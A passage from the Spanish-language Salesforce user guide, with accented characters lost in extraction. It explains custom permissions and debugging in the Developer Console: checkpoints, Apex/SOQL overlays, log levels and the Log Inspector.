Descripcin: opcionalmente, una descripcin en la que se explica a qu funciones
conceden acceso los permisos (por ejemplo, Aprobar solicitudes de vacaciones).
Aplicacin conectada: opcionalmente, aplicacin conectada asociada a este
permiso.

PERMISOS DE USUARIO
Para modificar permisos
personalizados:
Personalizar aplicacin

Mejora de Salesforce mediante cdigo

Gua del usuario | Depuracin | 204

4. Haga clic en Guardar.


CONSULTE TAMBIN
Descripcin general de permisos personalizados

Agregar o eliminar permisos personalizados necesarios


Un permiso personalizado necesario es un permiso personalizado que se debe activar cuando se
activa el permiso personalizado principal. Por ejemplo, debe tener un permiso personalizado
Aprobar solicitudes de vacaciones y especificar que requiere le permiso Enviar solicitudes de
vacaciones.
1. En Configuracin, haga clic en Desarrollo > Permisos personalizados.
2. Crear o seleccionar un permiso personalizado existente:

EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition y
Developer Edition

3. En la lista relacionada Permisos personalizados necesarios, haga clic en Modificar.


4. Seleccione los permisos personalizados que desea agregar desde la lista Permisos personalizados
disponibles y luego haga clic en Agregar o seleccione los permisos personalizados que desea
eliminar de la lista Permisos personalizados necesarios y luego haga clic en Eliminar.
5. Haga clic en Guardar.

PERMISOS DE USUARIO
Para agregar o eliminar
permisos personalizados
necesarios:
Personalizar aplicacin

CONSULTE TAMBIN
Descripcin general de permisos personalizados

Depuracin
Depuracin de su cdigo
Esta seccin contiene informacin acerca de la depuracin del cdigo que est escribiendo.
Ficha Puntos de comprobacin
Inspector de puntos de comprobacin
Ficha Registros
Inspector de registros
Ejemplos de uso del Inspector de registros
Uso de registros de depuracin

Depuracin utilizando la Consola de desarrollador


Ficha Puntos de comprobacin
La ficha Puntos de comprobacin muestra una lista de los puntos de comprobacin guardados que conservan una instantnea del
estado de los objetos en la memoria en el momento en el que se alcanz el punto de comprobacin.

Mejora de Salesforce mediante cdigo

Gua del usuario | Depuracin utilizando la Consola de


desarrollador | 205

Punto de comprobacin
Esta lista muestra los puntos de comprobacin disponibles actualmente para revisin. Seleccione Depuracin > Solamente mis puntos
de comprobacin actuales para mostrar solamente los puntos de comprobacin creados desde que se abri la Consola de desarrollo.
Cancele esta opcin para mostrar todos los puntos de comprobacin guardados actualmente en su organizacin, incluidos los generados
recientemente creados por otros usuarios.
Cada punto de comprobacin de la lista muestra esta informacin:
Columna

Descripcin

Espacio de nombres

Espacio de nombre del paquete que contiene el punto de comprobacin.

Clase

Clase de Apex que contiene el punto de comprobacin.

Lnea

Nmero de lnea marcado con el punto de comprobacin.

Hora

Hora a la que se alcanz el punto de comprobacin.

Haga clic con el botn secundario en el encabezado de alguna columna para ordenar la informacin de la columna. Tambin puede
seleccionar las columnas que desea visualizar en la lista de puntos de comprobacin.
Para abrir un punto de comprobacin, haga doble clic en l. El punto de comprobacin se abre en el Inspector de puntos de comprobacin.

Ubicaciones de los puntos de comprobacin


Esta lista proporciona la ubicacin de cada punto de comprobacin en el cdigo fuente. Cada elemento de la lista muestra esta informacin:
Columna

Descripcin

Archivo

Nombre de la clase de Apex que contiene el punto de comprobacin.

Lnea

Nmero de lnea marcado con el punto de comprobacin.

Iteracin

Si el punto de comprobacin est en un bucle, este valor indica la iteracin a la que se captura el punto de
comprobacin.

De forma predeterminada, la iteracin es 1, lo que significa que el punto de comprobacin se guarda la primera vez que se ejecuta la
lnea del cdigo fuente. Puede utilizar una iteracin diferente, por ejemplo, para investigar por qu un bucle no termina cuando se
espera. Para cambiar la iteracin, haga clic en la celda que desea cambiar e introduzca un nuevo nmero. Solo se capturar un punto
de comprobacin para una lnea de cdigo especfica, independientemente de cuntas veces se ejecuta durante una solicitud.

Mejora de Salesforce mediante cdigo

Gua del usuario | Depuracin utilizando la Consola de


desarrollador | 206

Establezca las ubicaciones de los puntos de comprobacin en el editor de cdigo fuente. Las ubicaciones de los puntos de comprobacin
permanecen hasta que haga clic en Borrar o hasta que cierre la Consola de desarrollador.
CONSULTE TAMBIN
Inspector de puntos de comprobacin
Configuracin de puntos de control en el cdigo Apex
Superposicin de declaraciones de cdigo Apex y SOQL
Uso de la Consola de desarrollador

Configuracin de puntos de control en el cdigo Apex


Utilice puntos de control de la Consola del desarrollador para depurar sus desencadenadores y clases de Apex. No puede establecer
puntos de control en la marca de Visualforce.
Importante: Para utilizar puntos de control, el Nivel de registro de Apex debe estar configurado como Exhaustivo o Ms
exhaustivo. Consulte Configuracin de niveles de registro.
Para definir un nuevo punto de control:
1. Abra el desencadenador o la clase de Apex en el Editor de cdigo fuente.
2. Haga clic en el margen a la izquierda del nmero de lnea donde desea establecer el punto de control. Se pueden activar hasta cinco
puntos de control al mismo tiempo.
Los resultados de un punto de control solo se capturarn una vez, independientemente de cuantas veces se ha ejecutado la lnea
de cdigo. Se capturarn los resultados de un punto de control de forma predeterminada justo antes de que se ejecuta la lnea de
cdigo por primera vez. Puede cambiar la iteracin de la captura desde la lista Ubicaciones de puntos de control en la ficha Puntos
de control. Tambin puede sustituir las declaraciones SOQL y el cdigo Apex que se ejecutan cuando se ejecuta el cdigo en un
punto de control.
3. Ejecute el cdigo con la Consola del desarrollador abierta.
4. Vea sus puntos de control y resultados en la ficha Puntos de control.
Los puntos de control se mantienen hasta que haga clic en Depuracin > Borrar ubicaciones de puntos de control.
Nota: Si establece un punto de control en un mtodo con la anotacin @future , debe mantener la Consola del desarrollador
abierta hasta que se complete el mtodo @future de forma asncrona.
CONSULTE TAMBIN
Inspector de registros
Superposicin de declaraciones de cdigo Apex y SOQL
Ficha Puntos de comprobacin
Inspector de puntos de comprobacin

Superposicin de declaraciones de cdigo Apex y SOQL


Utilice la Consola del desarrollador para superponer diagnsticos que funcionan cuando se ejecuta el cdigo Apex en un punto de
control, sin cambiar ningn cdigo.
Consulte Configuracin de puntos de control en el cdigo Apex.

Mejora de Salesforce mediante cdigo

Gua del usuario | Depuracin utilizando la Consola de


desarrollador | 207

Cuando est solucionando un problema de tiempo de ejecucin, es posible que necesite informacin acerca del estado de una variable
o del estado de la base de datos. Es posible que desee crear una condicin especfica en la que comprobar su cdigo. La Consola del
desarrollador le permite superponer las declaraciones SOQL y el cdigo Apex que se ejecutan cuando se ejecuta el cdigo en un punto
de control.
1. Establezca puntos de control y ejecute su cdigo, luego vaya a la ficha Puntos de control.
2. Seleccione un punto de control y haga clic en Modificar propiedades.
3. Seleccione SOQL o Cdigo Apex. Para ejecutar el cdigo de diagnstico sin crear un volcado de pila en el punto de control, elimine
la seleccin de Volcado de pila.

4. Introduzca SOQL o cdigo Apex en el cuadro Secuencia de comandos de la accin y haga clic en Aceptar.
Nota: No puede consultar objetos locales porque un bloque annimo es un nuevo marco de paquete. Consulte objetos
estticos o cree nuevos objetos. Adems, no puede utilizar variables de vinculacin en consultas SOQL utilizadas en
superposiciones.
Los resultados del cdigo superpuesto aparecern en una ficha separada Resultados de consulta o Resultados de ejecucin de
Apex en el Inspector de puntos de control. Para obtener detalles acerca de los resultados de la consulta, consulte Editor de consulta.
Nota: En la ficha Resultados de ejecucin de Apex, el valor -1 indica que un campo no es aplicable.

CONSULTE TAMBIN
Configuracin de puntos de control en el cdigo Apex
Ficha Puntos de comprobacin
Inspector de puntos de comprobacin

Inspector de puntos de comprobacin


Utilice los puntos de comprobacin para investigar los objetos de la memoria en un punto especfico de la ejecucin y ver los otros
objetos que hacen referencia a ellos.
Vaya a la ficha Puntos de comprobacin y haga doble clic en un punto de comprobacin para ver los resultados en el Inspector de
puntos de comprobacin. El Inspector de puntos de comprobacin proporciona ms informacin sobre las variables que el Inspector
de registros, ya que incluye elementos individuales de las colecciones.
El Inspector de puntos de comprobacin tiene dos fichas:
La ficha Pila muestra todos los objetos en memoria en el momento en el que se ejecut la lnea de cdigo en el punto de
comprobacin. Los elementos se muestran y se agrupan por tipo de datos.

Mejora de Salesforce mediante cdigo

Gua del usuario | Depuracin utilizando la Consola de


desarrollador | 208

La columna Tipos es una lista plana de las clases de todos los objetos instanciados en memoria en el punto de comprobacin,
con un recuento de cuntos se han instanciado y la cantidad de memoria consumida en bytes. Haga clic en un elemento para
ver una lista de estos objetos de la columna Instancias, con su direccin en la pila y la memoria consumida. Haga clic en una
instancia para ver las variables definidas actualmente en ese objeto en la columna Estado.
La ficha Referencias proporciona dos listas para mostrar relaciones entre smbolos en memoria. Utilice la lista Referencias entrantes
para localizar los smbolos que pueden albergar referencias a objetos de un tipo especfico. Utilice la lista Referencia a instancias
para buscar instancias especficas que albergan referencias a un smbolo. Haga doble clic para buscar esa instancia en otro lugar
de la pila.
La ficha Buscar le permite buscar smbolos en la pila por valor o direccin. Busque coincidencias parciales de los valores de
smbolo, pero las direcciones deben ser exactas. Para buscar un valor rpidamente, haga clic en el icono de bsqueda ( ) que
aparece a su derecha cuando pasa el ratn sobre l en el panel Estado.
La ficha Smbolos muestra una vista de rbol de todos los smbolos en memoria en el punto de comprobacin. sela para revisar
rpidamente el estado del sistema en la lnea de cdigo especfica (e iteracin) en la que se estableci el punto de comprobacin.

Importante: Si no ve barras de desplazamiento en los paneles del Inspector de puntos de comprobacin en un Mac, abra
Preferencias del Sistema > General y establezca Mostrar barras de desplazamiento como Siempre.
CONSULTE TAMBIN
Ficha Puntos de comprobacin
Configuracin de puntos de control en el cdigo Apex
Superposicin de declaraciones de cdigo Apex y SOQL

Ficha Registros
Utilice la ficha Registros de la Consola de desarrollador para acceder a los registros que incluyen eventos de bases de datos, procesamiento
de Apex, flujo de trabajo, llamadas y lgica de validacin.

Mejora de Salesforce mediante cdigo

Gua del usuario | Depuracin utilizando la Consola de


desarrollador | 209

La Consola de desarrollador consulta automticamente los registros de depuracin del usuario actual y los indica en la ficha Registros.
Por ejemplo, si tiene reglas de validacin asociadas con la insercin de un registro e inserta un nuevo registro, la Consola de desarrollador
captura un registro de depuracin para la solicitud y lo agrega a la lista.

Para abrir el registro seleccionado en el Inspector de registros, haga clic en Archivo > Abrir registro o haga doble clic en el registro
en la ficha Registros. Utilice el Inspector de registros para revisar un registro de depuracin, evaluar el cdigo Apex, realizar un
seguimiento de DML, supervisar el rendimiento, etc.
Para abrir el registro seleccionado en un editor de texto, haga clic en Archivo > Abrir registro sin procesar.
Para filtrar los registros visibles, haga clic en Filtrar y escriba el texto que desea incluir en la lista. Por ejemplo, si desea ver registros
de depuracin de un usuario especfico, escriba el nombre de ese usuario. El filtro distingue entre maysculas y minsculas.
Para eliminar todos los registros de la lista, haga clic en Depuracin > Borrar > Registro de ejecucin.
De forma predeterminada, la ficha Registros solo muestra los nuevos registros generados por el usuario actual. Para ver todos los
registros de depuracin guardados en su organizacin, incluidos los registros generados recientemente creados por otros usuarios,
haga clic en Depuracin y cancele la seleccin de Solo mostrar mis registros actuales.
Para ocultar todos los registros existentes automticamente la prxima vez que se actualice la pgina, haga clic en Depuracin y
seleccione Ocultar registros automticamente.
Para descargar una copia del registro seleccionado como archivo de texto, haga clic en Archivo > Descargar registro. El nombre
predefinido del archivo es apex.log.
Para evitar que se carguen los registros cuando abra la Consola de desarrollador, vaya a Ayuda > Preferencias y defina Evitar
registros en carga como true.
Nota: Los registros de usuario se configuran en la pgina de registro de depuracin de la organizacin. En Configuracin, haga
clic en Supervisin > Registros de depuracin o Registros > Registros de depuracin.

Configuracin de niveles de registro


Los niveles de registro determinan cunta informacin de una solicitud se guarda en un registro de depuracin. El anlisis de un registro
de gran tamao puede tardar mucho tiempo. Para reducir el tamao de un registro, ajuste el nivel de registro. Utilice un registro detallado
para el cdigo que est revisando. Utilice un registro simplificado para el cdigo en el que no est interesado.
Para especificar los niveles de registro para solicitudes futuras, haga clic en Depuracin > Cambiar niveles de registro. Esta pgina
le permite definir ajustes generales y sobrescribir los niveles de registro generales para una clase o desencadenador especficos.
Para definir varios niveles de registro para una clase o un desencadenador especficos, haga clic en Agregar y seleccione la clase o el
desencadenador en la lista. Haga clic en cualquier entrada para seleccionar en la lista de niveles de registro disponibles.

Mejora de Salesforce mediante cdigo

Gua del usuario | Depuracin utilizando la Consola de


desarrollador | 210

Para guardar sus cambios y cerrar la ventaja, haga clic en Listo.


Nota: Si est depurando usando puntos de comprobacin, establezca el nivel de registro del cdigo Apex como EXHAUSTIVO o
MS EXHAUSTIVO. (No utilice MS EXHAUSTIVO en la implementacin.)
Para obtener informacin sobre qu controla cada ajuste, consulte Categoras de registro de depuracin y Niveles de registro de
depuracin.
Importante: Si la Consola del desarrollador est abierta, los niveles de registro de la Consola del desarrollador afectan todos los
registros, incluyendo registros creados durante una implementacin. Antes de ejecutar una implementacin, compruebe que el
nivel de registro del cdigo Apex no est establecido como "ms exhaustivo" o la implementacin podra tardar ms de lo esperado.
CONSULTE TAMBIN
Men de depuracin
Inspector de registros
Filtros de categoras de registro de depuracin

Inspector de registros
El Inspector de registros es un visor de ejecucin contextual que muestra el origen de una operacin, qu ha generado esa operacin
y qu ocurri despus. Utilice esta herramienta para revisar registros de depuracin que incluyen eventos de bases de datos, procesamiento
de Apex, flujo de trabajo y lgica de validacin.
Los paneles que aparecen en el Inspector de registros dependen de la perspectiva seleccionada. Para alternar perspectivas, haga clic en
Depuracin > Cambiar perspectiva. Si desea ms informacin sobre las perspectivas predeterminadas y personalizadas, consulte
Gestin de perspectivas en el Inspector de registros.

Paneles de registro
El Inspector de registros puede contener cualquiera de los siguientes paneles:
rbol de pila
Pila de ejecucin
Registro de ejecucin
Origen
Variables
Descripcin general de ejecucin

Mejora de Salesforce mediante cdigo

Gua del usuario | Depuracin utilizando la Consola de


desarrollador | 211

Haga clic en Depuracin > Ver paneles de registro o pulse CTRL+P para elegir entre los paneles disponibles y disear una perspectiva
personalizada.

Si disea una perspectiva personalizada que quiere volver a usar, haga clic en Depuracin > Guardar perspectiva y asgnele un nombre
que pueda recordar. Despus de guardar una perspectiva personalizada puede seleccionarla en cualquier momento que use el Inspector
de registros haciendo clic en Depuracin > Cambiar perspectiva.
La mayora de los paneles se actualiza automticamente para mostrar informacin cuando se hace clic en algn elemento de un panel
relacionado. Por ejemplo, si hace clic en un panel rbol de pila, los paneles Pila de ejecucin, Registro de ejecucin y Origen se actualizan
para mostrar la informacin sobre el objeto relacionado: De la misma forma, si hace clic en una lnea del registro de ejecucin, los paneles
rbol de pila, Pila de ejecucin y Origen se actualizan con los detalles de esa lnea. Al hacer clic en un elemento de la ficha Unidades
ejecutadas de la Descripcin general de ejecucin, se actualizan los paneles Registro de ejecucin, rbol de pila, Pila de ejecucin y
Origen.

rbol de pila
El panel rbol de pila muestra dos vistas de rbol que muestran informacin de arriba abajo, desde las llamadas de inicio al siguiente
nivel, lo que le permite ver la jerarqua de elementos en un proceso. Por ejemplo, si una clase activa una segunda clase, esta segunda
clase se muestra como un nodo secundario de la primera clase.
El rbol de ejecucin muestra cada operacin. Por ejemplo, si un bucle for activa System.debug() 8 veces, el rbol de ejecucin
muestra la duracin de cada llamada:

El rbol de rendimiento agrega operaciones para ofrecerle una mejor visin del rendimiento de una operacin en su totalidad. Usando
el mismo ejemplo que antes, el rbol de rendimiento muestra la duracin total de cada llamada hasta debug:

Este registro se gener en la ventana Ejecucin annima. Las llamadas a debug y otros mtodos desde otras ubicaciones del cdigo
se agregan en la unidad ejecutada.
Cada elemento del panel rbol de pila incluye esta informacin:

Mejora de Salesforce mediante cdigo

Gua del usuario | Depuracin utilizando la Consola de


desarrollador | 212

Columna

Descripcin

mbito

Regin delimitada en el proceso, como flujo de trabajo, clase o DML.

Unidad

Nombre del elemento (regin).

Duracin

Cantidad de tiempo (en milisegundos) que el elemento ha tardado en ejecutarse.

Montn

Cantidad de bytes que utiliza el elemento.

Iteraciones

Nmero de veces que el elemento se ha activado.

Pila de ejecucin
El panel Pila de ejecucin muestra una vista de abajo arriba del elemento seleccionado actualmente en el registro de depuracin,
comenzando en la llamada del nivel inferior, seguido de la operacin que ha generado la llamada, etc.

Registro de ejecucin
El panel Registro de ejecucin contiene el registro de depuracin del proceso actual. El registro de depuracin contiene cada accin
que se ha producido en el proceso, como las llamadas de mtodo, las reglas del flujo de trabajo y las operaciones DML. Para ver las lneas
largas truncadas en la vista, pase el ratn por encima de la lnea para que emerja.

Utilice el registro de ejecucin para revisar un proceso paso a paso. Tambin puede entrar en las lneas por su cuenta o filtrar el registro
para acceder a las lneas de inters especfico:
Este marco: muestra nicamente esta regin del proceso o solo los elementos asociados con el nivel. Por ejemplo, si selecciona un
desencadenador que activa una clase, slo se visualizarn las operaciones del desencadenador. Si hace clic en
CODE_UNIT_STARTED y selecciona Este marco, solo se muestran los elementos del proceso que ocurren entre
CODE_UNIT_STARTED y el elemento asociado CODE_UNIT_ENDED.
Ejecutable: slo se muestran los elementos ejecutables en el registro de depuracin. Oculta la informacin de lmites acumulados,
como el nmero de consultas SOQL realizadas, el nmero de filas DML, etctera.

Mejora de Salesforce mediante cdigo

Gua del usuario | Depuracin utilizando la Consola de


desarrollador | 213

Consejo: Deje siempre Ejecutable seleccionado. Slo se desactiva si est trabajando en optimizar su proceso y necesita la
informacin de lmites especficos.
Solo depuracin: Muestra solo las declaraciones de depuracin que ha aadido al cdigo.
Filtro: muestra elementos que coinciden con lo que introduce en el campo asociado. Por ejemplo, si selecciona Filtro e introduce
DML, solamente se muestran las lneas del registro de ejecucin con la cadena "DML" en el evento o detalles. El filtro distingue entre
maysculas y minsculas.
El panel Registro de ejecucin contiene la siguiente informacin:
Columna

Descripcin

Marca de tiempo

Hora del sistema cuando se inicia el proceso, mostrada en la hora local del usuario. El formato es:
HH:MM:SS:MSS.

Evento

Evento de depuracin

Detalles

Detalles adicionales que pertenecen al evento, como el nmero de lnea y parmetros.

Origen
El panel de origen contiene el cdigo fuente ejecutado o las definiciones de metadatos de las entidades utilizadas durante el proceso
e indica cuntas veces se ha ejecutado una lnea de cdigo. El contenido mostrado en el panel depende de las otras selecciones realizadas
en la vista.
Para ir a una lnea especfica del cdigo, introduzca un nmero de lnea en la casilla de introduccin de texto en la parte inferior del
panel de origen y haga clic en Saltar.
Haga clic en Abrir para abrir el cdigo fuente ejecutado en la vista del editor de cdigo fuente.
Nota: Si las reglas de validacin o de flujo de trabajo se ejecutan durante el proceso, la representacin de los metadatos se muestra
en el panel de origen. No puede abrir una representacin de los metadatos desde la Consola del desarrollador. Consulte Regla
de validacin y Flujo de trabajo en la Gua del desarrollador de metadatos de la API de metadatos.

Variables
Utilice el panel Variables para descubrir cundo se ha asignado un valor a una variable y cul es ese valor. Haga clic en un evento de
Variable para cumplimentar la seccin.
Nota: El nivel de registro de cdigo Apex debe definirse a El ms exhaustivo para las asignaciones de variable que se
registren.
Otra forma de ver el contenido de las variables es usar los puntos de comprobacin, que permiten ver ms detalles sobre entidades en
memoria en un punto de ejecucin. Para obtener ms informacin, consulte Establecimiento de puntos de comprobacin en cdigo
Apex.

Descripcin general de ejecucin: Guardar pedido, Lmites, Plazo y Unidades ejecutadas


El panel Descripcin general de ejecucin en la parte interior del Inspector de registros contiene cuatro fichas:
La ficha Guardar pedido muestra la fecha lmite codificada por color de las acciones DML. Para cada accin DML realizada, los
elementos de Guardar pedido aparecen como vagones asociados de la lnea temporal.

Mejora de Salesforce mediante cdigo

Gua del usuario | Depuracin utilizando la Consola de


desarrollador | 214

Los siguientes colores se emplean para diferenciar entre elementos:


Color

Tipo

Rojo

Desencadenador Antes

Naranja

Desencadenador Despus

Verde

Regla de validacin

Azul

Regla de asignacin

Morado

Regla de flujo de trabajo

Si desea informacin detallada sobre un elemento especfico, haga clic en el vagn asociado de la lnea temporal. La ventana
emergente muestra informacin adicional e incluye un vnculo para desplazarse directamente al lugar relevante del registro.
Para ver los ID de los registros afectados, haga clic en el nombre del sObject en el panel izquierdo.
La ficha Lmites muestra los lmites generales del sistema por nombre y cantidad utilizados y contiene esta informacin:
Columna

Descripcin

Lmite

Nombre del lmite.

Utilizado hasta ahora

Cantidad del lmite utilizada por este proceso en este punto de ejecucin.

Total de solicitud

Cantidad de este lmite utilizada por la solicitud al finalizar.

Total disponible

Cantidad total del lmite.

La ficha Plazo proporciona una representacin visual del tiempo que ha llevado cada proceso. Seleccione la opcin Escala que tiene
como resultado la vista ms til.

La ficha Plazo contiene la siguiente informacin:

Mejora de Salesforce mediante cdigo

Gua del usuario | Depuracin utilizando la Consola de


desarrollador | 215

Columna

Descripcin

Categora

Tipo de proceso.

Milisegundos

Milisegundos de tiempo empleados por el proceso.

Porcentaje que ha empleado este proceso de la solicitud completa.

La ficha Unidades ejecutadas muestra los recursos del sistema utilizados por cada elemento del proceso.

Los botones de la parte inferior de la ficha se pueden utilizar para filtrar informacin por tipo de elemento. Por ejemplo, si no desea
ver los detalles de los mtodos, haga clic en Mtodos. Vuelva a hacer clic en el botn para borrar el filtro.
La ficha Unidades ejecutadas contiene la siguiente informacin:
Columna

Descripcin

Qu

Tipo del elemento del proceso. Entre los tipos se incluyen:


Mtodo
Consultas
Flujo de trabajo
Llamadas
DML
Validaciones
Desencadenadores
Pginas

Nombre

Nombre del elemento de proceso.

Suma

Duracin total del elemento.

Media

Duracin media del elemento.

Mxima

Duracin mxima del elemento.

Mnima

Duracin mnima del elemento.

Recuento

Nmero de veces que el elemento se ha activado durante el proceso.

Montn

Espacio que ocupa el elemento en la pila.

Tipo de consulta

Tipo de consulta. Los posibles valores son:


SOQL

Mejora de Salesforce mediante cdigo

Columna

Gua del usuario | Depuracin utilizando la Consola de


desarrollador | 216

Descripcin
SOSL

Filas de suma

Nmero total de registros modificados para el elemento.

Media de filas

Nmero medio de registros modificados para el elemento.

Filas mximas

Nmero mximo de registros modificados para el elemento.

Fila mnima

Nmero mnimo de registros modificados para el elemento.

Para ordenar la informacin por una columna especfica, haga clic en su encabezado.
Importante: Si utiliza un Mac y no ve las barras de desplazamiento en los paneles del Inspector de registros, abra Preferencias
del Sistema > General y establezca Mostrar barras de desplazamiento como Siempre.
CONSULTE TAMBIN
Men de depuracin
Ficha Registros
Gestin de perspectivas en el Inspector de registros
Creacin de perspectivas personalizadas en el Inspector de registros

Ejemplos de uso del Inspector de registros


A continuacin encontrar las formas en las que puede usar las herramientas del Inspector de registros para diagnosticar y solucionar
problemas.
Rastreo de la ruta de ejecucin
Visualizar declaraciones de System.Debug
Actualizacin del cdigo fuente
Seguimiento del DML en una solicitud
Evaluacin del rendimiento de una pgina de Visualforce
Visualizacin de un proceso complejo
Rastreo de la ruta de ejecucin
Escenario: Ha abierto un registro de depuracin en el Inspector de registros. Cules son algunas de las formas de revisar la informacin
paso a paso?
1. En el panel Registro de ejecucin, seleccione Ejecutable para filtrar todos los pasos no ejecutables, incluida la informacin de
lmites acumulados.
2. En el panel Descripcin general de la ejecucin, haga clic en la ficha Unidades ejecutadas para ver los valores agregados de los
diferentes tipos de operaciones de la solicitud. Por ejemplo, puede visualizar el nmero de operaciones DML o los diferentes
mtodos por el tipo de mtodo.
3. Haga clic en la ficha Lmites para ver los lmites reguladores utilizados por esta operacin.
Visualizar declaraciones de System.Debug
Escenario: Ha agregado un nmero de declaraciones System.Debug a su cdigo para realizar un seguimiento del progreso de
una solicitud. Cmo puede encontrarlos usando el Inspector de registros?

Mejora de Salesforce mediante cdigo

Gua del usuario | Depuracin utilizando la Consola de


desarrollador | 217

1. En el panel Registro de ejecucin, seleccione Filtrar.


2. Introduzca DEPURACIN (en mayscula) en el cuadro de introduccin de texto.
Slo se mostrarn las lneas que contengan la cadena DEPURACIN aparecern en la solicitud.
Actualizacin del cdigo fuente
Escenario: Tras ejecutar su solicitud, se da cuenta de un error de cdigo Apex en el registro de depuracin. Cul es la forma ms
fcil de modificar su cdigo Apex?
1. Desde el panel de origen, seleccione la lnea de cdigo.
2. Haga clic en Abierto.
La clase o el desencadenador se abren en una nueva ficha del editor de cdigo fuente.
Seguimiento del DML en una solicitud
Escenario: Su solicitud tiene muchas declaraciones DML en diferentes ubicaciones. Cmo puede distinguir cuntas veces se ejecuta
DML en una solicitud?
A continuacin tiene dos tcnicas para profundizar en el registro de depuracin para examinar el DML real ejecutado durante el
transcurso de una solicitud:
1. En el panel Registro de ejecucin, seleccione Filtrar y, a continuacin, escriba DML. Se mostrarn todos los elementos de la
solicitud que contienen DML en cualquier parte del evento o en los detalles.
2. En el panel Descripcin general de la ejecucin, haga clic en la ficha Unidades ejecutadas y desactive el resto de tipos de
ejecuciones, salvo DML. Los botones son accionables: haga clic una vez para filtrar ese tipo de operacin fuera de la lista. Haga
clic de nuevo para desactivar el filtro. Para ver nicamente la DML, haga clic en Mtodos, Consulta, Flujo de trabajo, Llamadas,
Validaciones, Desencadenadores y Pginas.
La informacin detallada de la operacin DML muestra el tipo de objeto que se ha visto afectado y la operacin especfica
que se ha realizado (insertar, actualizar, etc.). Tambin puede visualizar el nmero de veces que se ha ejecutado una declaracin
DML, el nmero de filas, etctera.
Si hace clic en un elemento de solicitud DML en la ficha Unidades ejecutadas, el registro de ejecucin filtra el resto de partes
de la solicitud y muestra solamente esa declaracin DML.
Tambin puede usar estos procedimientos para buscar y filtrar consultas.
Evaluacin del rendimiento de una pgina de Visualforce
Escenario: Tiene una pgina de Visualforce y un controlador Apex que ejecuta consultas SOQL. Cmo puede analizar el rendimiento
de su pgina y descubrir qu unidad de cdigo tard ms tiempo? Cmo puede determinar el nmero de consultas que se ejecutan
en la solicitud? Cmo comprueba si se est acercando a los lmites reguladores?
1. En el panel rbol de pila, busque el nombre de la pgina de Visualforce. El nivel superior tiene el formato /apex/pagename.
El primer nodo inferior a ese muestra la ejecucin real de la pgina. Abra ese nodo para ver cuando se ha iniciado el controlador.
2. Contine abriendo los nodos para explorar las llamadas de los mtodos y cunto tarda cada mtodo. Cuando hace clic en un
elemento del panel rbol de pila, el panel Registro de ejecucin muestra esa parte del registro de depuracin, el panel Origen
se actualiza mostrando el cdigo fuente correspondiente y el panel Variables muestra las variables que estn en contexto.
3. En el panel Descripcin general de la ejecucin, haga clic en la ficha Unidades ejecutadas para ver las estadsticas del cdigo
que incluyen tiempo de ejecucin en milisegundos y el tamao de la pila en bytes. La columna Cantidad muestra el nmero de
veces que se ha ejecutado una unidad de cdigo determinada. Si una unidad de cdigo se ha ejecutado ms de una vez, se
actualizarn la suma, la media, el mximo y el mnimo de veces de ejecucin. De forma similar, si una consulta se ejecuta ms
de una vez, la pantalla se actualiza para resumir los nmeros adicionales de filas devueltas.
Puede filtrar las unidades de cdigo haciendo clic en los botones de la parte inferior que corresponden a las unidades de cdigo
que desea omitir de la vista. Seguimiento del DML en una solicitud describe como realizar esto.

Mejora de Salesforce mediante cdigo

Gua del usuario | Depuracin utilizando la Consola de


desarrollador | 218

4. Haga clic en la ficha Lmites para verificar los lmites aplicables y en qu medida se acerca su solicitud a cada lmite aplicable. La
columna Total disponible muestra los lmites reguladores permitidos para su organizacin por tipo de operacin. La columna
Total de solicitud muestra el nmero total de solicitudes realizadas. La columna Utilizado hasta ahora muestra el nmero de
solicitudes consumidas hasta el punto de ejecucin seleccionado en el seguimiento de la pila o el registro de ejecucin.
5. Haga clic en Plazo para ver una muestra visual de las unidades del cdigo ejecutado divididas por el tipo de unidad de cdigo,
adems del total y el porcentaje del tiempo de ejecucin de cada tipo de unidad de cdigo. El plazo le permite saber rpidamente
qu partes de la solicitud han tardado ms. Seleccione un intervalo de tiempo en la parte inferior de la seccin del resumen para
aumentar o disminuir el periodo mostrado en el plazo.

En este ejemplo, las solicitudes de la base de datos tardaron ms (56,95%). Despus se encuentra la pgina Visualforce. La ltima
cantidad de tiempo se dedic al cdigo Apex. Adems, las pginas de Visualforce y el cdigo Apex se ejecutaron primero y en
ltimo lugar, mientras que las operaciones de la base de datos se llevaron a cabo entre ellas.
Visualizacin de un proceso complejo
Escenario: Su proceso es complejo, e incluye varias clases y desencadenadores de Apex, flujo de trabajo y reglas de validacin. Cules
son las mejores formas de revisar paso a paso o filtrar el registro de depuracin resultante?
1. La seccin de la pila contiene una estructura de rbol que ilustra la ruta de ejecucin de todos los elementos del nivel superior
en la solicitud. Utilcela para ver la jerarqua de los elementos cuando se ejecutan.
2. Use la casilla de introduccin Filtrar en el registro de ejecucin. Por ejemplo, si est interesado en eventos de desencadenador,
haga clic en Filtrar y escriba desencadenador. Slo se mostrarn las lneas del registro de depuracin que contengan la
palabra trigger en la seccin del registro de ejecucin.
3. Limite el mbito de la ficha Registro de ejecucin a una unidad seleccionada especfica de ejecucin seleccionando Este marco.
Por ejemplo, si selecciona una lnea que contenga CODE_UNIT_STARTED en el registro de ejecucin y hace clic en Este
marco, el registro de ejecucin slo muestra los elementos de la solicitud que se producen entre CODE_UNIT_STARTED y
su CODE_UNIT_ENDED asociado.
Nota: Si Este marco est seleccionado, el registro de ejecucin slo mostrar los elementos que se encuentran en ese
marco, no las operaciones de niveles inferiores. Por ejemplo, si un desencadenador activa una clase, slo se mostrarn las
operaciones del desencadenador en el registro de ejecucin, no las operaciones de clase.

Mejora de Salesforce mediante cdigo

Gua del usuario | Depuracin utilizando la Consola de


desarrollador | 219

Perspectivas del inspector de registros


Creacin de perspectivas personalizadas en el Inspector de registros
Una perspectiva es un formato predefinido de paneles del Inspector de registros de la Consola de desarrollador.
Cuando realice una tarea en el Inspector de registros, utilice una perspectiva que permita completar la tarea de forma rpida y sencilla.
Cada desarrollador tiene un estilo distinto. Para obtener una lista de perspectivas para su uso inmediato, consulte Inspector de registros.
Para crear una perspectiva personalizada o modificar una existente:
1. En la Consola de desarrollador, abra un registro en el Inspector de registros.
2. Haga clic en Depuracin > Ver paneles de registro y seleccione los paneles que desea incluir en la perspectiva.
Para obtener una lista de paneles disponibles, consulte Paneles de registro. Si modifica una perspectiva, se agrega un * al nombre
de la perspectiva hasta que se guarda.
Consejo: Si crea una perspectiva que incluya el panel Registro de ejecucin, puede que desee incluir el panel Origen.
